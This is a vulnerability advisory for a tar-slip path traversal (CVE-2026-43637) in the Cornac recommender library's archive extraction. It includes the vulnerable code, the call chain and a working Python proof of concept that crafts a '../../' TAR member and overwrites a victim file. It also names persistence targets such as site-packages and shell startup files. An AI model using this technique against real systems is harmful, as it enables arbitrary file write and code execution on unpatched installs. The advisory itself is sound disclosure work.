
Path traversal (Tar Slip) in Cornac via _extract_archive (CVE-2026-43637)
Severity: High, CVSS 4.0 8.8, Critical, CVSS 3.1 9.1(assigned by VulnCheck, the CNA)
Vector (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Vector (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Affected: cornac < 2.6.0
Fixed in: 2.6.0
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory, 'Path Traversal')
Reported by: Rahul Karne and Bharath Kumar Reddy Janumpally
CNA: VulnCheck
Published: July 15, 2026
Cornac's dataset loaders download and unpack archives automatically, and the unpacker trusted every path inside the archive.
Cornac is a machine-learning framework for recommender systems. Its built-in
dataset loaders fetch archives over the network and extract them without any
confirmation step. The extraction routine _extract_archive() in
cornac/utils/download.py calls archive.extractall() with no validation of
member paths. A TAR archive whose members contain ../ sequences, absolute
paths, or symlink and hardlink entries therefore writes files to arbitrary
locations on the filesystem, anywhere the running process can write, entirely
outside the intended cache directory. Several loaders fetch over plain HTTP, so a
network-positioned attacker can substitute a malicious archive in transit and
have it extracted the moment a loader is called.
Arbitrary file write with fully attacker-controlled path and content, bounded only by the permissions of the process running Cornac. This is a write primitive, not a read one, so there is no direct disclosure, but arbitrary file write is a well-established path to code execution and to denial of service:
.py file in site-packages, a shell
startup file, or a scheduled-task entry causes attacker code to run on the next
import, shell, or job.Who is affected: Any use of cornac < 2.6.0 that calls a dataset loader
which downloads and extracts an archive the attacker can control or intercept.
Because loaders extract automatically, no step beyond the ordinary loader call is
required.
Who is not affected:
2.6.0 or later, where extraction validates every member path.| Metric | Value | Source |
|---|---|---|
| Downloads, all-time | 4.1M | pepy.tech/projects/cornac |
| Downloads, last 30 days | 67.8K | pepy.tech |
| Typical use | Recommender-systems research and teaching; dataset loaders auto-fetch over the network, some over plain HTTP | inherent to the framework |
_extract_archive() in cornac/utils/download.py extracts both ZIP and TAR
inputs through one code path and, for the TAR case, calls extractall() with no
path checking:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
Nothing constrains member names, so a member named ../../somewhere/file
resolves outside extract_path and is written there.
The call chain is fully automatic from a loader call:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
Python's zipfile sanitizes ../ sequences during extraction, so the ZIP branch
of this same function is not exploitable on modern Python. Python's tarfile
does not sanitize member paths (prior to 3.12, and only with an explicit filter
after that). Because Cornac runs both formats through the identical
extractall() call, the ZIP branch is safe and the TAR branch is fully
exploitable through the same lines. The asymmetry is easy to miss precisely
because the code looks uniform across the two formats.
Cornac downloads with urllib.request.urlretrieve(), with no certificate pinning
and no archive integrity check, and several built-in loaders use http:// URLs.
A network-positioned attacker can intercept the plain-HTTP download and return a
malicious TAR without compromising the upstream server, which is why the vector
is remote and requires no user interaction beyond the loader call.
An attacker needs:
< 2.6.0.No privileges on the target and no user interaction beyond the loader call are required.
The following was run against the real, unmodified package by calling Cornac's
own _extract_archive directly.
Vulnerable version (2.3.5). A TAR containing a ../../ member is extracted
into a cache directory; the member lands outside that directory and overwrites a
file belonging to a separate application:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
Verified result:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
The benign member wrote inside the cache as expected; the ../../ member wrote
into the separate application's directory, and importing that application now
fails.